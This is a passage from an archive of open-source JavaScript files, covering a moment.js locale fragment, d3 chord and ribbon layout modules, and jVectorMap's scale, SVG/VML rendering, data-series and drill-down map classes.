(Thursday) due to phonological rule switch (this.day()) { case 2: case 4: return '[Leschten] dddd [um] LT'; default: return '[Leschte] dddd [um] LT'; } } }, relativeTime : { future : processFutureTime, past : processPastTime, s : 'e puer Sekonnen', ss : '%d Sekonnen', m : processRelativeTime, mm : '%d Minutten', h : processRelativeTime, hh : '%d Stonnen', d : processRelativeTime, dd : '%d Deeg', M : processRelativeTime, MM : '%d Méint', y : processRelativeTime, yy : '%d Joer' }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal: '%d.', week: { dow: 1, // Monday is the first day of the week. doy: 4 // The week that contains Jan 4th is the first week of the year. } }); chord.js000064400000006343151677412510006220 0ustar00import {range} from "d3-array"; import {max, tau} from "./math"; function compareValue(compare) { return function(a, b) { return compare( a.source.value + a.target.value, b.source.value + b.target.value ); }; } export default function() { var padAngle = 0, sortGroups = null, sortSubgroups = null, sortChords = null; function chord(matrix) { var n = matrix.length, groupSums = [], groupIndex = range(n), subgroupIndex = [], chords = [], groups = chords.groups = new Array(n), subgroups = new Array(n * n), k, x, x0, dx, i, j; // Compute the sum. k = 0, i = -1; while (++i < n) { x = 0, j = -1; while (++j < n) { x += matrix[i][j]; } groupSums.push(x); subgroupIndex.push(range(n)); k += x; } // Sort groups… if (sortGroups) groupIndex.sort(function(a, b) { return sortGroups(groupSums[a], groupSums[b]); }); // Sort subgroups… if (sortSubgroups) subgroupIndex.forEach(function(d, i) { d.sort(function(a, b) { return sortSubgroups(matrix[i][a], matrix[i][b]); }); }); // Convert the sum to scaling factor for [0, 2pi]. // TODO Allow start and end angle to be specified? // TODO Allow padding to be specified as percentage? k = max(0, tau - padAngle * n) / k; dx = k ? padAngle : tau / n; // Compute the start and end angle for each group and subgroup. // Note: Opera has a bug reordering object literal properties! x = 0, i = -1; while (++i < n) { x0 = x, j = -1; while (++j < n) { var di = groupIndex[i], dj = subgroupIndex[di][j], v = matrix[di][dj], a0 = x, a1 = x += v * k; subgroups[dj * n + di] = { index: di, subindex: dj, startAngle: a0, endAngle: a1, value: v }; } groups[di] = { index: di, startAngle: x0, endAngle: x, value: groupSums[di] }; x += dx; } // Generate chords for each (non-empty) subgroup-subgroup link. i = -1; while (++i < n) { j = i - 1; while (++j < n) { var source = subgroups[j * n + i], target = subgroups[i * n + j]; if (source.value || target.value) { chords.push(source.value < target.value ? {source: target, target: source} : {source: source, target: target}); } } } return sortChords ? chords.sort(sortChords) : chords; } chord.padAngle = function(_) { return arguments.length ? (padAngle = max(0, _), chord) : padAngle; }; chord.sortGroups = function(_) { return arguments.length ? (sortGroups = _, chord) : sortGroups; }; chord.sortSubgroups = function(_) { return arguments.length ? (sortSubgroups = _, chord) : sortSubgroups; }; chord.sortChords = function(_) { return arguments.length ? (_ == null ? sortChords = null : (sortChords = compareValue(_))._ = _, chord) : sortChords && sortChords._; }; return chord; } ribbon.js000064400000004573151677412510006377 0ustar00import {slice} from "./array"; import constant from "./constant"; import {cos, halfPi, sin} from "./math"; import {path} from "d3-path"; function defaultSource(d) { return d.source; } function defaultTarget(d) { return d.target; } function defaultRadius(d) { return d.radius; } function defaultStartAngle(d) { return d.startAngle; } function defaultEndAngle(d) { return d.endAngle; } export default function() { var source = defaultSource, target = defaultTarget, radius = defaultRadius, startAngle = defaultStartAngle, endAngle = defaultEndAngle, context = null; function ribbon() { var buffer, argv = slice.call(arguments), s = source.apply(this, argv), t = target.apply(this, argv), sr = +radius.apply(this, (argv[0] = s, argv)), sa0 = startAngle.apply(this, argv) - halfPi, sa1 = endAngle.apply(this, argv) - halfPi, sx0 = sr * cos(sa0), sy0 = sr * sin(sa0), tr = +radius.apply(this, (argv[0] = t, argv)), ta0 = startAngle.apply(this, argv) - halfPi, ta1 = endAngle.apply(this, argv) - halfPi; if (!context) context = buffer = path(); context.moveTo(sx0, sy0); context.arc(0, 0, sr, sa0, sa1); if (sa0 !== ta0 || sa1 !== ta1) { // TODO sr !== tr? context.quadraticCurveTo(0, 0, tr * cos(ta0), tr * sin(ta0)); context.arc(0, 0, tr, ta0, ta1); } context.quadraticCurveTo(0, 0, sx0, sy0); context.closePath(); if (buffer) return context = null, buffer + "" || null; } ribbon.radius = function(_) { return arguments.length ? (radius = typeof _ === "function" ? _ : constant(+_), ribbon) : radius; }; ribbon.startAngle = function(_) { return arguments.length ? (startAngle = typeof _ === "function" ? _ : constant(+_), ribbon) : startAngle; }; ribbon.endAngle = function(_) { return arguments.length ? (endAngle = typeof _ === "function" ? _ : constant(+_), ribbon) : endAngle; }; ribbon.source = function(_) { return arguments.length ? (source = _, ribbon) : source; }; ribbon.target = function(_) { return arguments.length ? (target = _, ribbon) : target; }; ribbon.context = function(_) { return arguments.length ? ((context = _ == null ? null : _), ribbon) : context; }; return ribbon; } math.js000064400000000245151677412510006045 0ustar00export var cos = Math.cos; export var sin = Math.sin; export var pi = Math.PI; export var halfPi = pi / 2; export var tau = pi * 2; export var max = Math.max; numeric-scale.js000064400000010533151677474710007656 0ustar00jvm.NumericScale = function(scale, normalizeFunction, minValue, maxValue) { this.scale = []; normalizeFunction = normalizeFunction || 'linear'; if (scale) this.setScale(scale); if (normalizeFunction) this.setNormalizeFunction(normalizeFunction); if (typeof minValue !== 'undefined' ) this.setMin(minValue); if (typeof maxValue !== 'undefined' ) this.setMax(maxValue); }; jvm.NumericScale.prototype = { setMin: function(min) { this.clearMinValue = min; if (typeof this.normalize === 'function') { this.minValue = this.normalize(min); } else { this.minValue = min; } }, setMax: function(max) { this.clearMaxValue = max; if (typeof this.normalize === 'function') { this.maxValue = this.normalize(max); } else { this.maxValue = max; } }, setScale: function(scale) { var i; this.scale = []; for (i = 0; i < scale.length; i++) { this.scale[i] = [scale[i]]; } }, setNormalizeFunction: function(f) { if (f === 'polynomial') { this.normalize = function(value) { return Math.pow(value, 0.2); } } else if (f === 'linear') { delete this.normalize; } else { this.normalize = f; } this.setMin(this.clearMinValue); this.setMax(this.clearMaxValue); }, getValue: function(value) { var lengthes = [], fullLength = 0, l, i = 0, c; if (typeof this.normalize === 'function') { value = this.normalize(value); } for (i = 0; i < this.scale.length-1; i++) { l = this.vectorLength(this.vectorSubtract(this.scale[i+1], this.scale[i])); lengthes.push(l); fullLength += l; } c = (this.maxValue - this.minValue) / fullLength; for (i=0; i<lengthes.length; i++) { lengthes[i] *= c; } i = 0; value -= this.minValue; while (value - lengthes[i] >= 0) { value -= lengthes[i]; i++; } if (i == this.scale.length - 1) { value = this.vectorToNum(this.scale[i]) } else { value = ( this.vectorToNum( this.vectorAdd(this.scale[i], this.vectorMult( this.vectorSubtract(this.scale[i+1], this.scale[i]), (value) / (lengthes[i]) ) ) ) ); } return value; }, vectorToNum: function(vector) { var num = 0, i; for (i = 0; i < vector.length; i++) { num += Math.round(vector[i])*Math.pow(256, vector.length-i-1); } return num; }, vectorSubtract: function(vector1, vector2) { var vector = [], i; for (i = 0; i < vector1.length; i++) { vector[i] = vector1[i] - vector2[i]; } return vector; }, vectorAdd: function(vector1, vector2) { var vector = [], i; for (i = 0; i < vector1.length; i++) { vector[i] = vector1[i] + vector2[i]; } return vector; }, vectorMult: function(vector, num) { var result = [], i; for (i = 0; i < vector.length; i++) { result[i] = vector[i] * num; } return result; }, vectorLength: function(vector) { var result = 0, i; for (i = 0; i < vector.length; i++) { result += vector[i] * vector[i]; } return Math.sqrt(result); }, /* Derived from d3 implementation https://github.com/mbostock/d3/blob/master/src/scale/linear.js#L94 */ getTicks: function(){ var m = 5, extent = [this.clearMinValue, this.clearMaxValue], span = extent[1] - extent[0], step = Math.pow(10, Math.floor(Math.log(span / m) / Math.LN10)), err = m / span * step, ticks = [], tick, v; if (err <= .15) step *= 10; else if (err <= .35) step *= 5; else if (err <= .75) step *= 2; extent[0] = Math.floor(extent[0] / step) * step; extent[1] = Math.ceil(extent[1] / step) * step; tick = extent[0]; while (tick <= extent[1]) { if (tick == extent[0]) { v = this.clearMinValue; } else if (tick == extent[1]) { v = this.clearMaxValue; } else { v = tick; } ticks.push({ label: tick, value: this.getValue(v) }); tick += step; } return ticks; } }; vml-path-element.js000064400000005744151677474710010316 0ustar00jvm.VMLPathElement = function(config, style){ var scale = new jvm.VMLElement('skew'); jvm.VMLPathElement.parentClass.call(this, 'shape', config, style); this.node.coordorigin = "0 0"; scale.node.on = true; scale.node.matrix = '0.01,0,0,0.01,0,0'; scale.node.offset = '0,0'; this.node.appendChild(scale.node); }; jvm.inherits(jvm.VMLPathElement, jvm.VMLShapeElement); jvm.VMLPathElement.prototype.applyAttr = function(attr, value){ if (attr === 'd') { this.node.path = jvm.VMLPathElement.pathSvgToVml(value); } else { jvm.VMLShapeElement.prototype.applyAttr.call(this, attr, value); } }; jvm.VMLPathElement.pathSvgToVml = function(path) { var cx = 0, cy = 0, ctrlx, ctrly; path = path.replace(/(-?\d+)e(-?\d+)/g, '0'); return path.replace(/([MmLlHhVvCcSs])\s*((?:-?\d*(?:\.\d+)?\s*,?\s*)+)/g, function(segment, letter, coords, index){ coords = coords.replace(/(\d)-/g, '$1,-') .replace(/^\s+/g, '') .replace(/\s+$/g, '') .replace(/\s+/g, ',').split(','); if (!coords[0]) coords.shift(); for (var i=0, l=coords.length; i<l; i++) { coords[i] = Math.round(100*coords[i]); } switch (letter) { case 'm': cx += coords[0]; cy += coords[1]; return 't'+coords.join(','); case 'M': cx = coords[0]; cy = coords[1]; return 'm'+coords.join(','); case 'l': cx += coords[0]; cy += coords[1]; return 'r'+coords.join(','); case 'L': cx = coords[0]; cy = coords[1]; return 'l'+coords.join(','); case 'h': cx += coords[0]; return 'r'+coords[0]+',0'; case 'H': cx = coords[0]; return 'l'+cx+','+cy; case 'v': cy += coords[0]; return 'r0,'+coords[0]; case 'V': cy = coords[0]; return 'l'+cx+','+cy; case 'c': ctrlx = cx + coords[coords.length-4]; ctrly = cy + coords[coords.length-3]; cx += coords[coords.length-2]; cy += coords[coords.length-1]; return 'v'+coords.join(','); case 'C': ctrlx = coords[coords.length-4]; ctrly = coords[coords.length-3]; cx = coords[coords.length-2]; cy = coords[coords.length-1]; return 'c'+coords.join(','); case 's': coords.unshift(cy-ctrly); coords.unshift(cx-ctrlx); ctrlx = cx + coords[coords.length-4]; ctrly = cy + coords[coords.length-3]; cx += coords[coords.length-2]; cy += coords[coords.length-1]; return 'v'+coords.join(','); case 'S': coords.unshift(cy+cy-ctrly); coords.unshift(cx+cx-ctrlx); ctrlx = coords[coords.length-4]; ctrly = coords[coords.length-3]; cx = coords[coords.length-2]; cy = coords[coords.length-1]; return 'c'+coords.join(','); } return ''; }).replace(/z/g, 'e'); };vector-canvas.js000064400000001011151677474710007671 0ustar00/** * Class for vector images manipulations. * @constructor * @param {DOMElement} container to place canvas to * @param {Number} width * @param {Number} height */ jvm.VectorCanvas = function(container, width, height) { this.mode = window.SVGAngle ? 'svg' : 'vml'; if (this.mode == 'svg') { this.impl = new jvm.SVGCanvasElement(container, width, height); } else { this.impl = new jvm.VMLCanvasElement(container, width, height); } this.impl.mode = this.mode; return this.impl; };map-object.js000064400000004027151677474710007151 0ustar00jvm.MapObject = function(config){}; jvm.MapObject.prototype.getLabelText = function(key){ var text; if (this.config.label) { if (typeof this.config.label.render === 'function') { text = this.config.label.render(key); } else { text = key; } } else { text = null; } return text; } jvm.MapObject.prototype.getLabelOffsets = function(key){ var offsets; if (this.config.label) { if (typeof this.config.label.offsets === 'function') { offsets = this.config.label.offsets(key); } else if (typeof this.config.label.offsets === 'object') { offsets = this.config.label.offsets[key]; } } return offsets || [0, 0]; } /** * Set hovered state to the element. Hovered state means mouse cursor is over element. Styles will be updates respectively. * @param {Boolean} isHovered <code>true</code> to make element hovered, <code>false</code> otherwise. */ jvm.MapObject.prototype.setHovered = function(isHovered){ if (this.isHovered !== isHovered) { this.isHovered = isHovered; this.shape.isHovered = isHovered; this.shape.updateStyle(); if (this.label) { this.label.isHovered = isHovered; this.label.updateStyle(); } } }; /** * Set selected state to the element. Styles will be updates respectively. * @param {Boolean} isSelected <code>true</code> to make element selected, <code>false</code> otherwise. */ jvm.MapObject.prototype.setSelected = function(isSelected){ if (this.isSelected !== isSelected) { this.isSelected = isSelected; this.shape.isSelected = isSelected; this.shape.updateStyle(); if (this.label) { this.label.isSelected = isSelected; this.label.updateStyle(); } jvm.$(this.shape).trigger('selected', [isSelected]); } }; jvm.MapObject.prototype.setStyle = function(){ this.shape.setStyle.apply(this.shape, arguments); }; jvm.MapObject.prototype.remove = function(){ this.shape.remove(); if (this.label) { this.label.remove(); } };vml-canvas-element.js000064400000003060151677474710010622 0ustar00jvm.VMLCanvasElement = function(container, width, height){ this.classPrefix = 'VML'; jvm.VMLCanvasElement.parentClass.call(this, 'group'); jvm.AbstractCanvasElement.apply(this, arguments); this.node.style.position = 'absolute'; }; jvm.inherits(jvm.VMLCanvasElement, jvm.VMLElement); jvm.mixin(jvm.VMLCanvasElement, jvm.AbstractCanvasElement); jvm.VMLCanvasElement.prototype.setSize = function(width, height){ var paths, groups, i, l; this.width = width; this.height = height; this.node.style.width = width + "px"; this.node.style.height = height + "px"; this.node.coordsize = width+' '+height; this.node.coordorigin = "0 0"; if (this.rootElement) { paths = this.rootElement.node.getElementsByTagName('shape'); for(i = 0, l = paths.length; i < l; i++) { paths[i].coordsize = width+' '+height; paths[i].style.width = width+'px'; paths[i].style.height = height+'px'; } groups = this.node.getElementsByTagName('group'); for(i = 0, l = groups.length; i < l; i++) { groups[i].coordsize = width+' '+height; groups[i].style.width = width+'px'; groups[i].style.height = height+'px'; } } }; jvm.VMLCanvasElement.prototype.applyTransformParams = function(scale, transX, transY) { this.scale = scale; this.transX = transX; this.transY = transY; this.rootElement.node.coordorigin = (this.width-transX-this.width/100)+','+(this.height-transY-this.height/100); this.rootElement.node.coordsize = this.width/scale+','+this.height/scale; };svg-text-element.js000064400000000625151677474710010340 0ustar00jvm.SVGTextElement = function(config, style){ jvm.SVGTextElement.parentClass.call(this, 'text', config, style); } jvm.inherits(jvm.SVGTextElement, jvm.SVGShapeElement); jvm.SVGTextElement.prototype.applyAttr = function(attr, value){ if (attr === 'text') { this.node.textContent = value; } else { jvm.SVGTextElement.parentClass.prototype.applyAttr.apply(this, arguments); } };data-series.js000064400000012445151677474710007334 0ustar00/** * Creates data series. * @constructor * @param {Object} params Parameters to initialize series with. * @param {Array} params.values The data set to visualize. * @param {String} params.attribute Numberic or color attribute to use for data visualization. This could be: <code>fill</code>, <code>stroke</code>, <code>fill-opacity</code>, <code>stroke-opacity</code> for markers and regions and <code>r</code> (radius) for markers only. * @param {Array} params.scale Values used to map a dimension of data to a visual representation. The first value sets visualization for minimum value from the data set and the last value sets visualization for the maximum value. There also could be intermidiate values. Default value is <code>['#C8EEFF', '#0071A4']</code> * @param {Function|String} params.normalizeFunction The function used to map input values to the provided scale. This parameter could be provided as function or one of the strings: <code>'linear'</code> or <code>'polynomial'</code>, while <code>'linear'</code> is used by default. The function provided takes value from the data set as an input and returns corresponding value from the scale. * @param {Number} params.min Minimum value of the data set. Could be calculated automatically if not provided. * @param {Number} params.min Maximum value of the data set. Could be calculated automatically if not provided. */ jvm.DataSeries = function(params, elements, map) { var scaleConstructor; params = params || {}; params.attribute = params.attribute || 'fill'; this.elements = elements; this.params = params; this.map = map; if (params.attributes) { this.setAttributes(params.attributes); } if (jvm.$.isArray(params.scale)) { scaleConstructor = (params.attribute === 'fill' || params.attribute === 'stroke') ? jvm.ColorScale : jvm.NumericScale; this.scale = new scaleConstructor(params.scale, params.normalizeFunction, params.min, params.max); } else if (params.scale) { this.scale = new jvm.OrdinalScale(params.scale); } else { this.scale = new jvm.SimpleScale(params.scale); } this.values = params.values || {}; this.setValues(this.values); if (this.params.legend) { this.legend = new jvm.Legend($.extend({ map: this.map, series: this }, this.params.legend)) } }; jvm.DataSeries.prototype = { setAttributes: function(key, attr){ var attrs = key, code; if (typeof key == 'string') { if (this.elements[key]) { this.elements[key].setStyle(this.params.attribute, attr); } } else { for (code in attrs) { if (this.elements[code]) { this.elements[code].element.setStyle(this.params.attribute, attrs[code]); } } } }, /** * Set values for the data set. * @param {Object} values Object which maps codes of regions or markers to values. */ setValues: function(values) { var max = -Number.MAX_VALUE, min = Number.MAX_VALUE, val, cc, attrs = {}; if (!(this.scale instanceof jvm.OrdinalScale) && !(this.scale instanceof jvm.SimpleScale)) { // we have a color scale as an array if (typeof this.params.min === 'undefined' || typeof this.params.max === 'undefined') { // min and/or max are not defined, so calculate them for (cc in values) { val = parseFloat(values[cc]); if (val > max) max = val; if (val < min) min = val; } } if (typeof this.params.min === 'undefined') { this.scale.setMin(min); this.params.min = min; } else { this.scale.setMin(this.params.min); } if (typeof this.params.max === 'undefined') { this.scale.setMax(max); this.params.max = max; } else { this.scale.setMax(this.params.max); } for (cc in values) { if (cc != 'indexOf') { val = parseFloat(values[cc]); if (!isNaN(val)) { attrs[cc] = this.scale.getValue(val); } else { attrs[cc] = this.elements[cc].element.style.initial[this.params.attribute]; } } } } else { for (cc in values) { if (values[cc]) { attrs[cc] = this.scale.getValue(values[cc]); } else { attrs[cc] = this.elements[cc].element.style.initial[this.params.attribute]; } } } this.setAttributes(attrs); jvm.$.extend(this.values, values); }, clear: function(){ var key, attrs = {}; for (key in this.values) { if (this.elements[key]) { attrs[key] = this.elements[key].element.shape.style.initial[this.params.attribute]; } } this.setAttributes(attrs); this.values = {}; }, /** * Set scale of the data series. * @param {Array} scale Values representing scale. */ setScale: function(scale) { this.scale.setScale(scale); if (this.values) { this.setValues(this.values); } }, /** * Set normalize function of the data series. * @param {Function|String} normilizeFunction. */ setNormalizeFunction: function(f) { this.scale.setNormalizeFunction(f); if (this.values) { this.setValues(this.values); } } }; svg-group-element.js000064400000000366151677474710010512 0ustar00jvm.SVGGroupElement = function(){ jvm.SVGGroupElement.parentClass.call(this, 'g'); } jvm.inherits(jvm.SVGGroupElement, jvm.SVGElement); jvm.SVGGroupElement.prototype.add = function(element){ this.node.appendChild( element.node ); };vml-shape-element.js000064400000002731151677474710010453 0ustar00jvm.VMLShapeElement = function(name, config){ jvm.VMLShapeElement.parentClass.call(this, name, config); this.fillElement = new jvm.VMLElement('fill'); this.strokeElement = new jvm.VMLElement('stroke'); this.node.appendChild(this.fillElement.node); this.node.appendChild(this.strokeElement.node); this.node.stroked = false; jvm.AbstractShapeElement.apply(this, arguments); }; jvm.inherits(jvm.VMLShapeElement, jvm.VMLElement); jvm.mixin(jvm.VMLShapeElement, jvm.AbstractShapeElement); jvm.VMLShapeElement.prototype.applyAttr = function(attr, value){ switch (attr) { case 'fill': this.node.fillcolor = value; break; case 'fill-opacity': this.fillElement.node.opacity = Math.round(value*100)+'%'; break; case 'stroke': if (value === 'none') { this.node.stroked = false; } else { this.node.stroked = true; } this.node.strokecolor = value; break; case 'stroke-opacity': this.strokeElement.node.opacity = Math.round(value*100)+'%'; break; case 'stroke-width': if (parseInt(value, 10) === 0) { this.node.stroked = false; } else { this.node.stroked = true; } this.node.strokeweight = value; break; case 'd': this.node.path = jvm.VMLPathElement.pathSvgToVml(value); break; default: jvm.VMLShapeElement.parentClass.prototype.applyAttr.apply(this, arguments); } };svg-path-element.js000064400000000342151677474710010304 0ustar00jvm.SVGPathElement = function(config, style){ jvm.SVGPathElement.parentClass.call(this, 'path', config, style); this.node.setAttribute('fill-rule', 'evenodd'); } jvm.inherits(jvm.SVGPathElement, jvm.SVGShapeElement);vml-group-element.js000064400000000540151677474710010503 0ustar00jvm.VMLGroupElement = function(){ jvm.VMLGroupElement.parentClass.call(this, 'group'); this.node.style.left = '0px'; this.node.style.top = '0px'; this.node.coordorigin = "0 0"; }; jvm.inherits(jvm.VMLGroupElement, jvm.VMLElement); jvm.VMLGroupElement.prototype.add = function(element){ this.node.appendChild( element.node ); };jvectormap.js000064400000010501151677474710007274 0ustar00/** * @namespace jvm Holds core methods and classes used by jVectorMap. */ var jvm = { /** * Inherits child's prototype from the parent's one. * @param {Function} child * @param {Function} parent */ inherits: function(child, parent) { function temp() {} temp.prototype = parent.prototype; child.prototype = new temp(); child.prototype.constructor = child; child.parentClass = parent; }, /** * Mixes in methods from the source constructor to the target one. * @param {Function} target * @param {Function} source */ mixin: function(target, source){ var prop; for (prop in source.prototype) { if (source.prototype.hasOwnProperty(prop)) { target.prototype[prop] = source.prototype[prop]; } } }, min: function(values){ var min = Number.MAX_VALUE, i; if (values instanceof Array) { for (i = 0; i < values.length; i++) { if (values[i] < min) { min = values[i]; } } } else { for (i in values) { if (values[i] < min) { min = values[i]; } } } return min; }, max: function(values){ var max = Number.MIN_VALUE, i; if (values instanceof Array) { for (i = 0; i < values.length; i++) { if (values[i] > max) { max = values[i]; } } } else { for (i in values) { if (values[i] > max) { max = values[i]; } } } return max; }, keys: function(object){ var keys = [], key; for (key in object) { keys.push(key); } return keys; }, values: function(object){ var values = [], key, i; for (i = 0; i < arguments.length; i++) { object = arguments[i]; for (key in object) { values.push(object[key]); } } return values; }, whenImageLoaded: function(url){ var deferred = new jvm.$.Deferred(), img = jvm.$('<img/>'); img.error(function(){ deferred.reject(); }).load(function(){ deferred.resolve(img); }); img.attr('src', url); return deferred; }, isImageUrl: function(s){ return /\.\w{3,4}$/.test(s); } }; jvm.$ = jQuery; /** * indexOf polyfill for IE < 9 * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf */ if (!Array.prototype.indexOf) { Array.prototype.indexOf = function (searchElement, fromIndex) { var k; // 1. Let O be the result of calling ToObject passing // the this value as the argument. if (this == null) { throw new TypeError('"this" is null or not defined'); } var O = Object(this); // 2. Let lenValue be the result of calling the Get // internal method of O with the argument "length". // 3. Let len be ToUint32(lenValue). var len = O.length >>> 0; // 4. If len is 0, return -1. if (len === 0) { return -1; } // 5. If argument fromIndex was passed let n be // ToInteger(fromIndex); else let n be 0. var n = +fromIndex || 0; if (Math.abs(n) === Infinity) { n = 0; } // 6. If n >= len, return -1. if (n >= len) { return -1; } // 7. If n >= 0, then Let k be n. // 8. Else, n<0, Let k be len - abs(n). // If k is less than 0, then let k be 0. k = Math.max(n >= 0 ? n : len - Math.abs(n), 0); // 9. Repeat, while k < len while (k < len) { // a. Let Pk be ToString(k). // This is implicit for LHS operands of the in operator // b. Let kPresent be the result of calling the // HasProperty internal method of O with argument Pk. // This step can be combined with c // c. If kPresent is true, then // i. Let elementK be the result of calling the Get // internal method of O with the argument ToString(k). // ii. Let same be the result of applying the // Strict Equality Comparison Algorithm to // searchElement and elementK. // iii. If same is true, return k. if (k in O && O[k] === searchElement) { return k; } k++; } return -1; }; }simple-scale.js000064400000000213151677474710007477 0ustar00jvm.SimpleScale = function(scale){ this.scale = scale; }; jvm.SimpleScale.prototype.getValue = function(value){ return value; };svg-canvas-element.js000064400000001606151677474710010627 0ustar00jvm.SVGCanvasElement = function(container, width, height){ this.classPrefix = 'SVG'; jvm.SVGCanvasElement.parentClass.call(this, 'svg'); this.defsElement = new jvm.SVGElement('defs'); this.node.appendChild( this.defsElement.node ); jvm.AbstractCanvasElement.apply(this, arguments); } jvm.inherits(jvm.SVGCanvasElement, jvm.SVGElement); jvm.mixin(jvm.SVGCanvasElement, jvm.AbstractCanvasElement); jvm.SVGCanvasElement.prototype.setSize = function(width, height){ this.width = width; this.height = height; this.node.setAttribute('width', width); this.node.setAttribute('height', height); }; jvm.SVGCanvasElement.prototype.applyTransformParams = function(scale, transX, transY) { this.scale = scale; this.transX = transX; this.transY = transY; this.rootElement.node.setAttribute('transform', 'scale('+scale+') translate('+transX+', '+transY+')'); };color-scale.js000064400000002057151677474710007334 0ustar00jvm.ColorScale = function(colors, normalizeFunction, minValue, maxValue) { jvm.ColorScale.parentClass.apply(this, arguments); } jvm.inherits(jvm.ColorScale, jvm.NumericScale); jvm.ColorScale.prototype.setScale = function(scale) { var i; for (i = 0; i < scale.length; i++) { this.scale[i] = jvm.ColorScale.rgbToArray(scale[i]); } }; jvm.ColorScale.prototype.getValue = function(value) { return jvm.ColorScale.numToRgb(jvm.ColorScale.parentClass.prototype.getValue.call(this, value)); }; jvm.ColorScale.arrayToRgb = function(ar) { var rgb = '#', d, i; for (i = 0; i < ar.length; i++) { d = ar[i].toString(16); rgb += d.length == 1 ? '0'+d : d; } return rgb; }; jvm.ColorScale.numToRgb = function(num) { num = num.toString(16); while (num.length < 6) { num = '0' + num; } return '#'+num; }; jvm.ColorScale.rgbToArray = function(rgb) { rgb = rgb.substr(1); return [parseInt(rgb.substr(0, 2), 16), parseInt(rgb.substr(2, 2), 16), parseInt(rgb.substr(4, 2), 16)]; };vml-element.js000064400000005712151677474710007357 0ustar00/** * Wrapper for VML element. * @constructor * @extends jvm.AbstractElement * @param {String} name Tag name of the element * @param {Object} config Set of parameters to initialize element with */ jvm.VMLElement = function(name, config){ if (!jvm.VMLElement.VMLInitialized) { jvm.VMLElement.initializeVML(); } jvm.VMLElement.parentClass.apply(this, arguments); }; jvm.inherits(jvm.VMLElement, jvm.AbstractElement); /** * Shows if VML was already initialized for the current document or not. * @static * @private * @type {Boolean} */ jvm.VMLElement.VMLInitialized = false; /** * Initializes VML handling before creating the first element * (adds CSS class and creates namespace). Adds one of two forms * of createElement method depending of support by browser. * @static * @private */ // The following method of VML handling is borrowed from the // Raphael library by Dmitry Baranovsky. jvm.VMLElement.initializeVML = function(){ try { if (!document.namespaces.rvml) { document.namespaces.add("rvml","urn:schemas-microsoft-com:vml"); } /** * Creates DOM element. * @param {String} tagName Name of element * @private * @returns DOMElement */ jvm.VMLElement.prototype.createElement = function (tagName) { return document.createElement('<rvml:' + tagName + ' class="rvml">'); }; } catch (e) { /** * @private */ jvm.VMLElement.prototype.createElement = function (tagName) { return document.createElement('<' + tagName + ' xmlns="urn:schemas-microsoft.com:vml" class="rvml">'); }; } document.createStyleSheet().addRule(".rvml", "behavior:url(#default#VML)"); jvm.VMLElement.VMLInitialized = true; }; /** * Returns constructor for element by name prefixed with 'VML'. * @param {String} ctr Name of basic constructor to return * proper implementation for. * @returns Function * @private */ jvm.VMLElement.prototype.getElementCtr = function( ctr ){ return jvm['VML'+ctr]; }; /** * Adds CSS class for underlying DOM element. * @param {String} className Name of CSS class name */ jvm.VMLElement.prototype.addClass = function( className ){ jvm.$(this.node).addClass(className); }; /** * Applies attribute value to the underlying DOM element. * @param {String} name Name of attribute * @param {Number|String} config Value of attribute to apply * @private */ jvm.VMLElement.prototype.applyAttr = function( attr, value ){ this.node[attr] = value; }; /** * Returns boundary box for the element. * @returns {Object} Boundary box with numeric fields: x, y, width, height * @override */ jvm.VMLElement.prototype.getBBox = function(){ var node = jvm.$(this.node); return { x: node.position().left / this.canvas.scale, y: node.position().top / this.canvas.scale, width: node.width() / this.canvas.scale, height: node.height() / this.canvas.scale }; };multimap.js000064400000010736151677474710006764 0ustar00/** * Creates map with drill-down functionality. * @constructor * @param {Object} params Parameters to initialize map with. * @param {Number} params.maxLevel Maximum number of levels user can go through * @param {Object} params.main Config of the main map. See <a href="./jvm-map/">jvm.Map</a> for more information. * @param {Function} params.mapNameByCode Function go generate map name by region code. Default value is: <pre> function(code, multiMap) { return code.toLowerCase()+'_'+ multiMap.defaultProjection+'_en'; } </pre> * @param {Function} params.mapUrlByCode Function to generate map url by region code. Default value is: <pre> function(code, multiMap){ return 'jquery-jvectormap-data-'+ code.toLowerCase()+'-'+ multiMap.defaultProjection+'-en.js'; } </pre> */ jvm.MultiMap = function(params) { var that = this; this.maps = {}; this.params = jvm.$.extend(true, {}, jvm.MultiMap.defaultParams, params); this.params.maxLevel = this.params.maxLevel || Number.MAX_VALUE; this.params.main = this.params.main || {}; this.params.main.multiMapLevel = 0; this.history = [ this.addMap(this.params.main.map, this.params.main) ]; this.defaultProjection = this.history[0].mapData.projection.type; this.mapsLoaded = {}; this.params.container.css({position: 'relative'}); this.backButton = jvm.$('<div/>').addClass('jvectormap-goback').text('Back').appendTo(this.params.container); this.backButton.hide(); this.backButton.click(function(){ that.goBack(); }); this.spinner = jvm.$('<div/>').addClass('jvectormap-spinner').appendTo(this.params.container); this.spinner.hide(); }; jvm.MultiMap.prototype = { addMap: function(name, config){ var cnt = jvm.$('<div/>').css({ width: '100%', height: '100%' }); this.params.container.append(cnt); this.maps[name] = new jvm.Map(jvm.$.extend(config, {container: cnt})); if (this.params.maxLevel > config.multiMapLevel) { this.maps[name].container.on('regionClick.jvectormap', {scope: this}, function(e, code){ var multimap = e.data.scope, mapName = multimap.params.mapNameByCode(code, multimap); if (!multimap.drillDownPromise || multimap.drillDownPromise.state() !== 'pending') { multimap.drillDown(mapName, code); } }); } return this.maps[name]; }, downloadMap: function(code){ var that = this, deferred = jvm.$.Deferred(); if (!this.mapsLoaded[code]) { jvm.$.get(this.params.mapUrlByCode(code, this)).then(function(){ that.mapsLoaded[code] = true; deferred.resolve(); }, function(){ deferred.reject(); }); } else { deferred.resolve(); } return deferred; }, drillDown: function(name, code){ var currentMap = this.history[this.history.length - 1], that = this, focusPromise = currentMap.setFocus({region: code, animate: true}), downloadPromise = this.downloadMap(code); focusPromise.then(function(){ if (downloadPromise.state() === 'pending') { that.spinner.show(); } }); downloadPromise.always(function(){ that.spinner.hide(); }); this.drillDownPromise = jvm.$.when(downloadPromise, focusPromise); this.drillDownPromise.then(function(){ currentMap.params.container.hide(); if (!that.maps[name]) { that.addMap(name, {map: name, multiMapLevel: currentMap.params.multiMapLevel + 1}); } else { that.maps[name].params.container.show(); } that.history.push( that.maps[name] ); that.backButton.show(); }); }, goBack: function(){ var currentMap = this.history.pop(), prevMap = this.history[this.history.length - 1], that = this; currentMap.setFocus({scale: 1, x: 0.5, y: 0.5, animate: true}).then(function(){ currentMap.params.container.hide(); prevMap.params.container.show(); prevMap.updateSize(); if (that.history.length === 1) { that.backButton.hide(); } 